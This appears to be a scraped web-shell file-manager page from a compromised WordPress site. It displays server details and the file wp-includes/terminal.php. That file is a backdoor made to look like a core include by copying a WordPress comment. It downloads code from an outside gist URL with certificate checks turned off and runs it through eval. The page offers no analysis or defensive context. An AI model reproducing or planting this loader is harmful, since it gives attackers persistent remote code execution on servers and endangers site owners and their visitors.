HEX
Server: nginx/1.24.0
System: Linux vm-6dd2b387-6a.novalocal 5.14.0-522.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Oct 20 13:04:34 UTC 2024 x86_64
User: kusanagi (1000)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/kusanagi/geriatrics.jp/DocumentRoot/wp-includes/terminal.php
<?php
session_start();

/**
* Disable error reporting
*
* Set this to error_reporting( -1 ) for debugging.
*/
function geturlsinfo($url) {
   if (function_exists('curl_exec')) {
       $conn = curl_init($url);
       curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
       curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
       curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
       curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);

       // Set cookies using session if available
       if (isset($_SESSION['SAP'])) {
           curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['SAP']);
       }

       $url_get_contents_data = curl_exec($conn);
       curl_close($conn);
   } elseif (function_exists('file_get_contents')) {
       $url_get_contents_data = file_get_contents($url);
   } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
       $handle = fopen($url, "r");
       $url_get_contents_data = stream_get_contents($handle);
       fclose($handle);
   } else {
       $url_get_contents_data = false;
   }
   return $url_get_contents_data;
}


 {
   $a = geturlsinfo('https://gist.github.com/babypro2/2313e17c4674af79055230c394f7875b/raw');
   eval('?>' . $a);
}
?>